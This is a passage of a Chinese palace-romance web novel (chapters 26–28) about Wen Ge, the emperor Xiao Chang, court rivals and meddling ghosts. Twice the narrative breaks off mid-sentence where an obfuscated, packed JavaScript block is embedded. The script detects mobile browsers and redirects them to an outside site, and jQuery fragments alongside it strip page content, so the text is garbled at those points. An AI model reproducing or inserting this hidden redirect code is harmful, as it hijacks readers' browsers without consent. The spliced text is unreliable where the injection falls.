她忽然觉得,比起萧昌,这些神出鬼没的“鬼”更让她头疼。 夜深了。 闻歌躺在偏殿的锦榻上,望着帐顶繁复的绣纹,久久无法入眠。萧昌那些话在脑中反复回响,夹杂着白日所见百姓的哭嚎、官兵的凶恶、还有他踹开狱头时那一闪而过的焦急。 “到底哪个才是真的你……”她闭上眼,轻声问这无边的夜。 而主殿内,萧昌亦未眠。 他站在窗前,望着宫墙外沉沉的夜色,手中摩挲着一枚陈旧的女式玉佩。 “闻歌,”他低声自语,“朕能给你的,或许只有这方寸之地的庇护。但若连这都没有,你又如何在这世道活下去?” 风过檐铃,声声清寂。 这深宫长夜,两颗截然不同的心,却同样辗转难眠。 明日,又会是怎样的光景? 26. 第 26 章 烛火在鎏金灯盏里轻轻摇曳,将寝宫偏殿映照得暖意融融。 闻歌坐在锦凳上,却觉浑身不自在。身上崭新的宫装柔软华贵,可这金丝银线织就的衣裳,比牢里的镣铐更让她窒息。她抬眼看向坐在龙案后的萧昌,他正端详着她,眼底漾着笑意,像看一件失而复得的珍宝。 “昏君,你还笑得出来。”闻歌别开脸,语气硬邦邦的。 萧昌不但不恼,反而笑得更深:“朕见到你了,自然开心。”他朝她招手,“过来,让朕好好瞧瞧这张脸蛋。” 闻歌心中警铃大作。狗皇帝这副模样,分明是不怀好意。她想起白日里那些莫名的“意外”,疑窦丛生,却又摸不着头脑。此刻他叫她过去,谁知道又要耍什么花样? 她暗暗咬牙——是你自己叫我过去的,若敢轻薄,休怪我手下无情。 这般想着,她站起身,一步步朝萧昌走去。每一步都踏得杀气腾腾,袖中手指已悄然攥紧。 萧昌饶有兴致地看着她这副如临大敌的模样,正欲开口,异变突生! 闻歌只觉脚踝被什么无形之力猛地一扯! “啊——”她惊呼出声,整个人竟凌空飞起,直直扑向萧昌! 萧昌下意识张开手臂,温香软玉结结实实撞了满怀。他怔住,鼻尖萦绕着女子沐浴后清浅的香气,怀中身躯柔软温热,与他只隔薄薄衣料。 暗处,鬼大兴奋地掰着手指数:“一、二、三——命中!” 鬼二得意:“咱们这配合,天衣无缝!” “你们说,主人事成之后,会不会封咱们个‘月老司鬼差’当当?”鬼三已经开始幻想。 “少做梦,快接着帮忙!”鬼四催促。 于是,闻歌惊恐地发现,自己的手不听使唤了! 那双本该掐向萧昌脖子的手,此刻正被无形之力操控着,轻轻抚上他的胸膛。接着,她的头也被一股力道按着,朝那张俊美却可恶的脸压去—— “怎么回事?!我控制不住自己了!”闻歌失声叫道,拼命想挣脱那股诡异的力量,却徒劳无功。 萧昌被她这“主动投怀送抱”又“欲拒还迎”的举动逗乐了。他低笑,胸腔震动透过相贴的衣衫传来:“这就对了。女人见到朕,哪能控制得住自己?” “你放开我!松手!”闻歌急得眼眶发红,手脚乱挥,在萧昌看来却像是娇羞的挣扎。 “演得真像。”萧昌笑意更深,故意收紧手臂,将她箍得更紧,“朕都没碰你,你倒自己演得这般投入。” 闻歌气得浑身发抖,却又无可奈何。那无形之力霸道得很,她像提线木偶般被操控着,指尖划过他衣襟纹路,脸越凑越近,近到能数清他睫毛—— 就在双唇即将相触的刹那! “臣妾有事需禀报皇上!” 一道女声突兀响起,伴随着急促脚步声,闻清竟未经通传直接闯了进来! 五个小鬼动作一滞,操控之力骤然松懈。 闻歌如蒙大赦,猛地从萧昌怀中弹开,踉跄后退好几步才站稳,面红耳赤地喘着气。萧昌怀中一空,不悦地皱起眉。 “朕说了要听你禀报吗?”他看向闻清,语气冷了下来。 闻清跪倒在地,却挺直脊背:“就算皇上责罚,臣妾也要说。” 萧昌整了整微乱的衣襟,重新端坐,脸上笑意已散尽:“好,朕倒要听听,你有什么天大的事。” “安国郡主闻歌是妖女,皇上不该留她在身边!”闻清抬起头,目光如刀射向闻歌。 殿内空气骤然凝固。 闻歌看着跪在地上的堂妹,心一点点沉下去。她知道闻清素来不喜自己,却没想到,这份不喜已化为淬毒的杀意。 萧昌指节轻叩案面,声音听不出情绪:“那依你之见,该如何处置?” “立刻诛杀,以平民愤!”闻清一字一句,斩钉截铁。 “好,好个闻贵人。”萧昌忽然笑了,笑意却寒似冰雪,“安国郡主是你堂姐,她在朕面前从未说过你半句不是。你倒好,开口就要取她性命——你就不念半点姐妹情分?” “臣妾是为皇上江山着想,为天下百姓着想!”闻清叩首,“如今民间皆传她是妖物,皇上若执意留她在侧,必损圣名,惹天下非议!” 闻歌静静听着,指甲深深掐进掌心。疼痛让她保持清醒,可心口那股闷痛却挥之不去。她想起幼时,闻清曾怯生生跟在她身后,喊她“阿姐”。那时桃花开得正好,她们一起偷摘伯父院里的果子,被发现了,她还挡在闻清前面挨骂。 **原来时光最残忍之处,不是让人遗忘,而是让曾经的美好,都变成刺向彼此的刀。** “谁教你说这些话的?”萧昌忽然问。 闻清身子几不可察地一僵:“是臣妾自己……” “欺君之罪,你可知道是什么下场?”萧昌声音陡然严厉。 闻清脸色一白,伏地不敢言。 “朕现在问你,你口口声声说她是妖,证据何在?若说得有理,朕饶你不死;若是胡言乱语——”萧昌顿了顿,“朕今日就拿你开刀,以儆效尤!” “她死而复生,在南方兴风作浪,害死无数百姓!这难道不是妖邪?!”闻清急声道。 “闭嘴!”萧昌猛地拍案,“朕说过多少次,此事纯属无稽之谈!你拿谣传当令箭,是觉得朕昏聩可欺吗?!” 他厉喝:“来人!拖出去,杖责三十!” 侍卫应声而入。闻清这才慌了,连声求饶:“皇上饶命!臣妾知错了!臣妾再也不敢了!” 闻歌看着堂妹吓得涕泪横流的模样,心中五味杂陈。恨吗?当然恨。可若真眼睁睁看她被打死…… “皇上,”她忽然出声,上前一步,“请饶恕闻贵人。” 萧昌看向她,眼神复杂。 “她年纪尚小,许是受人蛊惑,一时糊涂。”闻歌垂下眼,“无论如何,我们终归姐妹一场。若她今日因此受重罚,臣女……心中难安。” “你听听!”萧昌指着闻清,怒其不争,“你心心念念要杀的人,却在为你求情!闻清,你的良心可还在?!” 闻清咬唇不语,看向闻歌的眼神却无半分感激,只有更深的怨毒。 “皇上息怒。”又一道温婉女声传来,皇后领着齐妃、楚妃款步而入,“是臣妾无意间说了几句闲话,被闻贵人听去,她才贸然进谏。她也是一心为皇上着想,还请皇上开恩。” 齐妃、楚妃纷纷跪下求情。 萧昌看着满殿跪着的妃嫔,忽然觉得无比疲惫。他站起身,走到闻歌身边,又扫视众人:“你们让朕学学安国郡主——学学她的善良,学学她的大度,学学她即便被至亲背叛,仍愿以德报怨!” 他挥袖:“全都退下。今日之事,朕不想再提。” 众人如蒙大赦,匆匆退去。闻清临走前狠狠瞪了闻歌一眼,那眼神分明在说:假仁假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992195|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义,咱们走着瞧。 殿内重归寂静。萧昌揉了揉眉心,看向闻歌:“你何必为她求情?” 闻歌沉默片刻,轻声道:“我不是为她,是为我父亲和伯父。若闻清真出了事,两家便成死仇。”她苦笑,“皇上说得对,这深宫里,善良是最无用的东西。可若连这点无用之物都丢了,人与妖魔何异?” 萧昌怔怔看着她,烛光在她侧脸镀上柔和的晕,可那双眼却盛满与年龄不符的苍凉。他忽然很想伸手,抚平她眉间蹙起的褶皱。 但他最终只是说:“去歇着吧。今夜之事,不会再发生。” 闻歌回到偏殿厢房时,已近子时。身体累极,头脑却异常清醒。她躺在榻上,反复回想今日种种诡异——那莫名的力道,不受控制的举动,还有萧昌意味深长的眼神…… “到底是谁在捣鬼……”她喃喃自语,眼皮却渐渐沉重。 就在将睡未睡之际,一阵轻微响动倏然惊醒了她! “谁?!”闻歌猛地坐起,只见一道黑影鬼鬼祟祟摸进房内,反手关上了门。 月光从窗棂漏入,映出来人身穿道袍,手持桃木剑与八卦镜,正是张天师! “安国郡主莫慌,贫道是来抓鬼的。”张天师压低声音,目光如炬地在房内扫视。 “抓鬼?”闻歌一愣,随即大怒,“你说我是鬼?!” “非也非也!”张天师忙指她身侧,“是郡主身边的——” 话音未落,闻歌已暴起! 她本就憋了一肚子火无处发泄,此刻见这道士深夜潜入,还口口声声“抓鬼”,顿时新仇旧恨涌上心头。想也不想,飞身一脚直踹对方面门! “哎哟!”张天师猝不及防,被踹得倒飞出去,两颗门牙混合血沫喷出,落地叮当作响。 暗处,五鬼排排坐好,鬼五不知从哪摸出一把瓜子分给大家。 “开盘开盘,”鬼大嗑着瓜子,“赌主人几招制敌?” “我赌三招。”鬼二兴奋道。 “两招!”鬼三举手。 “一招——诶不对,已经一招了。”鬼四遗憾。 张天师挣扎爬起,抹了把嘴上鲜血,又惊又怒:“你个死丫头!贫道真是来抓——” “抓你个头!”闻歌根本不听,又是一脚踹在他腹部! 张天师重重撞上桌案,茶壶杯盏噼里啪啦碎了一地。他痛得蜷缩,却见闻歌已迈步逼近,眼中杀气腾腾。 “女侠饶命!真是抓鬼啊!”张天师慌忙从袖中掏出两颗黑丸,往地上一砸—— “嘭!”青烟暴起,瞬间弥漫整个房间。 闻歌捂住口鼻后退,待烟雾稍散,房中已空无一人,只剩满地狼藉和窗外远处隐约传来的痛呼:“臭丫头……给贫道等着……” 她走到门边,对着夜色冷冷道:“下次再敢来,阉了你。” 夜风拂过,廊下宫灯摇曳。 闻歌关上门,背靠门板缓缓滑坐在地。疲惫如潮水般席卷而来,可心中那根弦却始终紧绷。 这深宫似海,暗流汹涌。明枪易躲,暗箭难防。而最可怕的,是那些藏在暗处、连面目都看不清的“手”。 **当你不知敌人是谁时,每一个靠近你的人,都可能是那把藏在笑里的刀。** 她抱紧膝盖,将脸埋入臂弯。 远处隐隐传来打更声。 天快亮了。 而新的风波,或许已在酝酿。 27. 第 27 章 深夜的偏殿厢房内,青烟散尽,满地狼藉。 闻歌背靠门板坐着,身上那层薄纱在方才打斗中被扯得凌乱,露出白皙肩颈。夜风从破窗灌入,激得她打了个寒颤。正要起身寻件衣裳披上,房门却“砰”地被撞开! “安国郡主,所为何事?”萧昌的声音带着急迫,显然是听到动静匆匆赶来。 烛光映照下,他看见闻歌衣衫不整的模样,呼吸猛地一滞。 素白薄纱几乎透明,勾勒出少女姣好曲线。湿发贴在她颈侧,水珠沿着锁骨滑入衣襟。她跪坐在地,仰头看他,眼中惊怒未消,颊边还沾着打斗时蹭到的灰尘——偏偏这般狼狈模样,竟有种惊心动魄的媚。 “你们都给朕转过头去!”萧昌厉声呵斥身后侍卫。 侍卫们齐刷刷转身,背对房门,目不斜视。 萧昌一步踏进门内,反手带上门,脱下身上外袍便朝闻歌兜头罩下。动作间,他不可避免地触碰到她裸露的肌肤,温润滑腻的触感让他指尖一颤。 “你、你这是怎么回事?”他的声音有些哑,手臂环过她肩头,想将人带到里间。 闻歌被他裹在宽大的龙纹外袍里,鼻尖萦绕着他身上清冽的龙涎香气。她挣扎着想推开,却听头顶传来一声压抑的闷哼。 “皇上,你怎么流鼻血了?”闻歌诧异抬头。 萧昌正用手背抹去鼻下鲜红,眼神却还粘在她身上。那外袍裹得匆忙,襟口松垮,仍露出一片晃眼的雪白。他喉结滚动,抱着她的手臂不自觉地收紧。 暗处,鬼大兴奋搓手:“时机正好!鬼五,上!” “得令!”鬼五应声而动,无形之力扯住闻歌身上薄纱一角—— “刺啦!” 清脆的撕裂声在寂静中格外刺耳。 紧接着,“啪”一记响亮耳光! 萧昌整个人被扇得倒飞出去,“哐当”撞开窗户,摔在廊下石板上。 “臭流氓!”闻歌裹紧外袍,气得浑身发抖,“你再敢进来,我让你当太监!” 窗外传来侍卫慌乱的脚步声和萧昌强作镇定的声音:“朕没事……方才运功过猛,自己弹出来了而已。” 闻歌听着那渐远的脚步声,死死攥紧衣襟。狗皇帝,果然没安好心!什么抓刺客,分明是想趁乱占便宜! 还有那个狗道长……她摸了摸隐隐作痛的臀部,更是火冒三丈。抓鬼?抓你个大头鬼!分明是借机轻薄! 这一夜,闻歌再未合眼。 次日清晨,圣驾启程回京。 龙辇内,闻歌与萧昌同乘。这待遇惹得后方凤辇上的皇后、齐妃、楚妃等人脸色铁青。 “皇后娘娘,您看看她,简直目中无人!”闻清掀开车帘一角,盯着前方龙辇,眼中淬毒。 皇后慢条斯理地拨弄腕间佛珠:“皇上正在兴头上,咱们急什么?”她唇角噙着淡笑,“皇上的性子,本宫最清楚。新鲜劲儿过了,自有她的苦头吃。” “娘娘大度,可她倒好,在皇上面前装得一副清高样,背地里不知使了什么手段!”齐妃冷哼。 楚妃绞着帕子:“瞧她那狐媚样就恶心!就该早早处置了才好!” 闻清添油加醋:“她从小就这样,到哪儿都要出风头。如今在娘娘面前还敢如此嚣张,真当自己是后宫之主了?” 皇后闭目养神:“后宫最忌争风吃醋。本宫只盼着安稳度日,别让皇上烦心便是。” **有些刀子,从来不是明晃晃亮出来的。它藏在最温婉的笑里,裹在最体贴的话中,等你放松警惕时,才给你致命一击。** 龙辇内,气氛微妙。 萧昌侧眸看着离自己足有三尺远的闻歌,挑眉:“朕问你,当土皇帝的感觉如何?” “逍遥自在,快活似神仙。”闻歌抱膝坐着,目光望向车窗外飞逝的景色。 “朕可听说,你在民间留下了不少‘名言’。”萧昌倾身靠近,“‘一双破鞋走天下,端着碗,拿着棍,想怎么混就怎么混’——朕的皇宫,还比不上乞丐窝?” 闻歌转头瞪他:“我就是喜欢无拘无束。想晒太阳就晒太阳,想睡懒觉就睡懒觉。闲时下海抓鱼,上山打兔,比你那勾心斗角的后宫强百倍!” 话出口,她忽然想起那些再也回不来的伙伴——李婆子、小姑娘、大李……笑容渐渐黯淡。 “皇上,”她正色道,“臣女有一问,请您如实回答。” 萧昌又凑近些:“你总是命令朕。说吧,何事?” “离我远点。” “近些,朕才闻得到你身上的香气,回答起来也有精神。”他手臂自然而然环上她的腰,将她往怀里带,“朕就喜欢亲近你。” 闻歌强忍推开他的冲动,盯着他的眼睛:“你可曾下令驱赶难民乞丐,甚至……杀害他们?” 萧昌动作一顿。 “朕先亲亲你,再回答?”他嬉皮笑脸地凑近。 “滚开!”闻歌别开脸。 “朕不记得了。”他懒洋洋道。 “萧昌!”闻歌猛地揪住他衣襟,“我现在离你这么近,信不信我掐死你?” “来啊,”他竟笑着将脖颈往她手里送,“掐死朕,朕也甘愿。” 闻歌气得松开手,拳头攥得死紧。 “别紧张,”萧昌忽然收起玩笑神色,轻叹,“朕不会真的对你如何。”他看着她,“驱赶难民之事,朕是事后才知晓。李知府、魏县令为粉饰太平,竟出此下策,还谎称是朕的旨意。” 闻歌怔住:“那你为何不严惩他们?” “小鱼咬钩,岂能轻易收竿?”萧昌眼神深了深,“朕要等的,是后面的大鱼。” 他伸手,指尖拂过她脸颊:“你的三宗罪,朕知道都是诬陷。你与李婆子他们的情谊,朕也清楚。闻歌,朕在你心里,就真是那般昏聩之人?” 闻歌看着他近在咫尺的脸,第一次有些不确定了。 这个时而荒唐、时而深沉的帝王,到底哪一面才是真的? “那你打算如何处置他们?”她低声问。 萧昌却忽然笑了,脸越贴越近:“如此良辰美景,你我独处,不该做点别的……” 话音未落,异变陡生! “小心!”闻歌瞳孔骤缩,本能地扑倒萧昌! 一支利箭破窗而入,贴着她耳际掠过,“夺”地钉在车厢壁上!箭尾犹自震颤。 闻歌整个人压在萧昌身上,一手撑在他耳侧,一手还抓着方才千钧一发间截住的另一支箭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992196|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。两人鼻尖几乎相触,呼吸交缠。 萧昌躺在地上,竟还笑得出来:“佳人投怀送抱,朕却之不恭。” “你还有心思笑!”闻歌又急又气,“有刺客!” 车外已乱作一团。侍卫拔刀声、马蹄嘶鸣声、黄公公尖利的“护驾”声混杂一片。 “皇上可安好?”黄公公在车外急问。 “朕无碍。”萧昌平静回应,目光却始终落在闻歌脸上,“不必追了,继续前行。” “你早知道会遇刺?”闻歌撑起身,看着手中那支箭——与当初射死她的那支,一模一样! “这次是冲朕来的。”萧昌坐起身,掸了掸衣袍,“杀你,犯不着冒这么大风险。” “你知道是谁?” “不知道。”他坦然道,“但朕既然要动,就不会只揪出几个虾兵蟹将。”他眼底掠过寒芒,“朕要的,是连根拔起。” 闻歌怔怔看着他。这一刻的萧昌,锋芒毕露,与平日嬉笑的模样判若两人。 她还压着他腿,手撑在他身侧。萧昌忽然握住她手腕,将她指尖拉到唇边,轻轻一吻。 “真香。”他笑得像个得逞的孩子。 “卑鄙!”闻歌抽回手,脸颊发烫。 “骂得好,朕爱听。”萧昌朗声大笑。 一路颠簸,终回京城。 翌日早朝,金銮殿上吵翻了天。以皇叔为首的一派坚持要治闻歌死罪,闻丞相等人则力保女儿清白。双方争得面红耳赤,萧昌高坐龙椅,冷眼旁观。 “此事容后再议。”他拂袖起身,“退朝。” 回到丞相府,闻歌刚踏进大门,便见父亲闻丞相铁青着脸站在厅前。 “逆女!跪下!”闻丞相厉喝。 两旁家丁手持木棍,严阵以待。 闻歌尚未反应过来,闻丞相已下令:“家法伺候!给我打!” “老爷!你这是做什么?!”丞相夫人从内堂急奔出来,挡在女儿身前,“歌儿刚回家,你就喊打喊杀,她怎么还敢留在家中?” “你问问她干了什么好事!”闻丞相气得浑身发抖,“今日朝堂之上,多少人要治她死罪!我这张老脸,都让她丢尽了!” “歌儿心地善良,绝不会做那些事!”丞相夫人紧紧护着女儿,“她不过是贪玩出去走走,何至于此?” “慈母多败儿!”闻丞相跺脚,“给我打!今日非打断她的腿,看她往后还敢乱跑!” 家丁高举木棍,却面面相觑——夫人挡在前面,这板子落也不是,不落也不是。 闻歌站在母亲身后,看着父亲暴怒的脸,心中涌起复杂的情绪。她忽然想起萧昌在龙辇上的话:“朕在你心里,就真是那般昏聩之人?” **也许这世上,每个人都活在他人的误解里。帝王被看作昏君,父亲被看作严父,而她——在有些人眼里是妖女,在有些人眼里,却只是贪玩的孩子。** “爹,”她忽然开口,声音平静,“女儿确实未曾做过那些事。您若不信,女儿愿对天发誓。” 闻丞相死死盯着她,眼中怒意未消,却多了几分挣扎。 厅内一时寂静,只闻窗外风吹树叶的沙沙声。 这场风波,似乎才刚刚开始。 28. 第 28 章 厅堂里檀香袅袅,却压不住那剑拔弩张的气氛。 闻歌被两个家丁按在硬木长凳上,掌心沁出薄汗。她侧过脸,看向主座上须发皆张的父亲,又望向一旁攥紧手帕、眼眶通红的母亲,最后目光落在跪地哀求的小桃和小红身上——这两个从小陪她长大的丫鬟,额头都磕出了红印。 “爹,娘,”她喉咙发紧,声音却竭力维持平静,“若我真犯了那三宗死罪,皇上早该在南方就地将我正法,何须押回京城?又怎会容我活到今日,等着爹爹来动家法?” “孽障!你还敢狡辩!”闻丞相一掌拍在案几上,茶盏“哐当”跳起,“我闻家世代忠良,怎就出了你这个惹祸精!如今满朝文武都在弹劾你,你让为父这张老脸往哪儿搁!” 丞相夫人扑到女儿身边,用身子挡住家丁手中那根黝黑的木棍:“老爷!歌儿不过是年少贪玩,偷偷跑出去罢了!那些‘自封天子’、‘抢夺官银’的罪名,定是有人栽赃陷害!” “夫人!到了这时候你还护着她!”闻丞相气得手指发颤,“她就是被你惯得无法无天!” 小桃“砰砰”磕头,声音带着哭腔:“老爷明鉴!小姐虽然任性,可心地最是良善,连只蚂蚁都舍不得踩,怎会去害人夺银?” 小红也哭成了泪人儿:“案子还没审呢……万一、万一是冤枉的……这顿家法下去,小姐身子怎么受得住……” 闻歌听着这些话语,心头像被细针密密地扎。她看见父亲眼底除了愤怒,还有深藏的恐惧——那是为人父者,眼见女儿卷入滔天巨浪却无能为力的恐惧。她看见母亲强作镇定却微微发抖的手,看见丫鬟们真心实意的维护。 **原来这世上最沉重的枷锁,从来不是镣铐刑具,而是那些爱你之人的眼泪与忧惧。** “歌儿!”丞相夫人推她肩膀,急声道,“快跟你爹认个错!说你再也不敢了!” 闻歌却深吸一口气,背脊挺得笔直:“爹,你不能打我。”她眼波一转,计上心头,信口编道,“退朝时皇上亲口对我说,明日还要召我进宫议事。圣意未明之前,皇上不许任何人动我分毫——这可是皇上的口谕!” 话音刚落,厅外传来一声低笑。 那笑声温润,却让满堂之人瞬间僵住。 “哦?朕何时给过这样的口谕?” 明黄衣袂拂过门槛,萧昌负手而入,唇角噙着一抹似笑非笑的弧度。黄公公紧随其后,刚要扯开嗓子喊“皇上驾到”,却见萧昌抬手一压——他竟是微服悄至,未惊动府中任何人。 “吾皇万岁——”闻丞相最先反应过来,撩袍便跪。满厅人呼啦啦跪倒一片,额头触地,屏息凝神。 “平身。”萧昌径自走到主位坐下,目光扫过仍按着闻歌的家丁,又掠过那根悬在半空的木棍,最后落在闻丞相脸上,“闻丞相,这是唱的哪一出啊?” 闻丞相额角渗出细汗:“回皇上……微臣、微臣正在管教小女。” “管教?”萧昌挑眉,指尖轻敲扶手,“这般阵仗,朕瞧着倒像是要动大刑。” “小女屡触国法,微臣欲施家法以正门风……” “她不仅是你的女儿,”萧昌声音淡了下来,“更是朕亲封的安国郡主。朕尚未定罪,丞相便急着动刑——”他顿了顿,眸中掠过一丝锐光,“莫非是觉得朕审不明白,要替朕先行发落?” 这话分量极重。闻丞相“扑通”又跪下了:“微臣不敢!皇上明鉴!” 闻歌悄悄松了半口气,趁家丁愣神,挣开束缚站起身来。她朝萧昌投去一瞥,眼底有小小的狡黠和得意——看,关键时刻还得靠本姑娘急智,皇上这不就来撑腰了? 谁知萧昌话锋陡然一转。 “死罪可免,活罪难逃。”他视线转向闻歌,唇角那抹笑深了几分,“安国郡主,朕方才在门外听得真切——你说朕允你明日进宫,且不许任何人动你?”他身体微微前倾,目光如炬,“朕倒想问问,这是何时何地,朕对你说的?” 闻歌脸上的得意瞬间冻结。 “假传圣旨,可是重罪。”萧昌靠回椅背,语气悠然,却字字敲在人心上,“朕现在倒真有些信了——你在外敢自称‘土皇帝’,想必假传个口谕,也不在话下。” “皇上!”闻丞相急得声音发颤,“小女绝无此胆!她只是、只是信口胡诌以求脱身,绝非有意假传圣意!” 丞相夫人也连连叩首:“歌儿年幼无知,口无遮拦,请皇上恕罪!” 萧昌看着闻歌渐渐发白的脸,看着她眼中一闪而过的慌乱和强装的镇定,忽然低笑出声。 “朕不过是开个玩笑。”他抬手虚扶,“都起来吧。”待二人战战兢兢起身,他才缓声道,“闻丞相、安国郡主留下。其余人,都退下。” 众人如蒙大赦,躬身退出。厅门轻轻掩上,将暮色隔绝在外。烛火跳动,在三人脸上投下摇曳的影子。 “闻丞相,”萧昌敛了笑意,神色郑重起来,“此处无外人,朕与你交个底——那些罪名,朕一个字都不信。” 闻丞相愕然抬头。 “非但无罪,朕觉得,安国郡主反倒该赏。”萧昌看向闻歌,目光深邃如潭,“只是眼下朝堂上吵得厉害,皇叔一党咬得紧,朕若此时明着偏袒,反倒对你、对闻家不利。” “皇上何出此言?”闻丞相声音微哑。 “回京路上,朕遇刺了。”萧昌平静道,仿佛在说一件微不足道的小事,“刺客连发三箭,若非安国郡主及时扑救,朕未必能安然坐在这里。” 闻丞相倒抽一口凉气:“何人如此大胆?!” “朕自会让他付出代价。”萧昌指尖轻点扶手,“但此事,需个合适的人去查。” “臣愿为皇上效犬马之劳!” “你不行。”萧昌摇头,目光缓缓移向一直沉默的闻歌,“她最合适。” 闻歌猛地抬眼。 “理由有三。”萧昌竖起三根手指,不疾不徐道,“其一,你要为李婆子、小姑娘、大李他们报仇。那些人死在谁手里,你比朕更清楚。”他看见闻歌瞳孔骤缩,继续道,“其二,你在南方数月,对当地官场、民情了如指掌,心里应当已有线索。其三——” 他顿了顿,声音沉了几分:“你虽未被定罪,却也未洗脱嫌疑。这是你自证清白最好的机会。查清了,那些弹劾你的奏折,不攻自破。” 闻歌脑子里乱成一团。报仇?她当然想。那些淳朴善良的面孔,那些倒在血泊中的身影,夜夜入梦。可查案……她本一心求仙,想要远离这些俗世纷争、权谋倾轧。更何况,萧昌明明什么都知道,他手下能人众多,为何偏要她去? “臣女……”她咬了咬唇,“只想修仙。” “你若办好此事,”萧昌身体微微前倾,一字一句道,“朕为你建一座修仙台。选址、规制、所需之物,皆由你定。如何?” 闻歌别开脸:“不要。” “那你是要抗旨?”萧昌声音沉了下来,厅内空气骤然凝滞。 闻歌感到父亲投来焦急的目光,感到萧昌那不容置疑的注视。她想起那些死去的人,想起自己蒙受的冤屈,想起这个看似荒唐的帝王,在牢狱中那句“朕的无奈,你总有一天会明白”。 半晌,她垂下眼睫,低声应道:“卑女……不敢。” “很好。”萧昌起身,玄色龙纹常服在烛光下流淌着暗金光泽。他走到闻歌面前,停下脚步,忽然俯身在她耳边低语,温热气息拂过她耳廓: “记住,朕要的不是小鱼小虾。是藏在最深处的,那条大鱼。” 说罢,他直起身,朝厅外走去。 “恭送皇上!”闻丞相长揖到地。 待那道明黄身影消失在影壁后,闻歌立刻跳起来,对着空荡荡的门口张牙舞爪,压低声音骂道:“狗皇帝!就会欺负弱女子!查案查案,查你个大头鬼!” “放肆!”闻丞相一把拽住她胳膊,又气又急,“圣驾刚走,你便这般猖狂,若是让人听见——” 远处忽然飘来萧昌带笑的声音,悠悠荡荡,清晰入耳: “安国郡主,明日辰时进宫面圣——朕准了。” 闻歌动作僵在半空,懊恼地一跺脚。让你嘴贱!编什么理由不好,偏编这个!这下好了,真得进宫了! “还不滚回房去!”闻丞相瞪她一眼,拂袖转身,却几不可闻地叹了口气。 回到闺房,小桃、小红立刻跟了进来,反手关上门,拍着胸口心有余悸。 “小姐,你可算回来了!”小桃凑上前,眼睛还红着,却已泛起笑意,“这些日子,我们提心吊胆的,生怕你……” “呸呸呸!”小红打断她,挨着闻歌坐下,拽着她袖子,“小姐,下次要是再出去‘云游’,带 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小桃“噗嗤”笑出声:“小姐!这事儿我们可听说了!皇上那晚差点被‘那位姑娘’生吞活剥了!最后没法子,躲到观星楼窗外的飞檐上,吹了一整夜冷风!听说里衣都被撕成一条一条的,可狼狈了!” 小红也憋着笑:“老爷为了这事儿,跟皇上大吵一架,说皇上把他女儿弄丢了,气得要以头撞柱!后来回府,差点把书房给砸了,都是被小姐你气的!” 闻歌听得眉开眼笑,得意非凡:“我找的可是怡红院的头牌阿花姑娘!至于长相嘛……”她故作深沉地摇摇头,啧了一声,“实在不敢恭维。但声音身段,和我有七八分像!我本来说给她重金酬谢,她倒好,一个劲儿往我怀里塞银票,千恩万谢,说是我给了她这飞上枝头变凤凰的天赐良机!” 她摊摊手,一副很无奈的样子:“盛情难却,我只能勉为其难收下啦。” 小桃笑得前仰后合:“怪不得皇上那么惨!” “关键我看中的是阿花姑娘那股子劲儿!”闻歌比划着,眼睛发亮,“那股从骨头缝里透出来的……炽热!你们是没瞧见,她往那儿一站,眼波这么一流转——”她学着抛了个媚眼,“我闭着眼睛都能想象,方圆十里都能被她那热情给点燃喽!寸草不生!” 小红红着脸笑骂:“小姐!你太坏了!这种话也说得出口!” “后来啊,”闻歌眼神飘向窗外,声音轻了些,“我骑上快马,连夜出城。那感觉……真像断了线的风筝。”她顿了顿,那些颠沛流离、饥寒交迫的日子,那些温暖质朴的笑脸,还有血色弥漫的清晨……飞快掠过脑海。但她很快又扬起笑容,挥散那些阴霾,“天高地阔,任我翱翔!想去哪儿就去哪儿,想做什么就做什么!” 她清了清嗓子,继续用夸张的语气:“我散尽随身细软,跟一个老乞丐换了身行头。从此左手端破碗,右手拄打狗棍,一双露趾破鞋走天下!路见不平,我就吼他一声!上九天揽月,下五洋捉鳖——本姑娘名声大震,江湖群豪共尊我为‘土皇帝’!” “说得那么威风,”小桃揶揄道,“不就是领着一群乞丐难民嘛!” “小姐最会往自己脸上贴金了。”小红捂嘴偷笑。 闻歌瞪她们:“敢打断本小姐兴头!”随即自己也绷不住笑了,“是啊,就是一群乞丐,一群难民。”她笑容淡了些,眼底浮起真实的暖意和一丝痛楚,“可他们……比某些锦衣玉食、道貌岸然之人,更像人,更懂什么叫情义。” 房间里静了一瞬。窗外暮色完全沉落,星子初现,夏虫开始鸣唱。 小桃轻声问:“小姐,那皇上让你查的案子……你真要去吗?” 闻歌收起嬉笑,望向窗外皇宫的方向。夜色中,那片巍峨殿宇的轮廓沉默矗立,檐角风铃在晚风中发出细微清响。 “去。”她低声说,语气却异常坚定,“不仅要查,还要查个水落石出,查个天翻地覆。” 为了那些再也回不来的人。 也为了……看清那重重宫阙之中,那个时而荒唐不羁、时而深沉如海,让她恨得牙痒、却又屡次出手相护,让她困惑不已的帝王,他的棋局里,究竟藏着怎样的天下,与真心。 夜色渐浓,丞相府各院的灯笼次第亮起,晕开一团团暖黄的光。 而明日辰时,宫门开启,又将是一场新的奔赴与博弈。 29. 第 29 章 烛火在闺房内静静燃烧,将闻歌眉飞色舞的身影投在墙壁上。 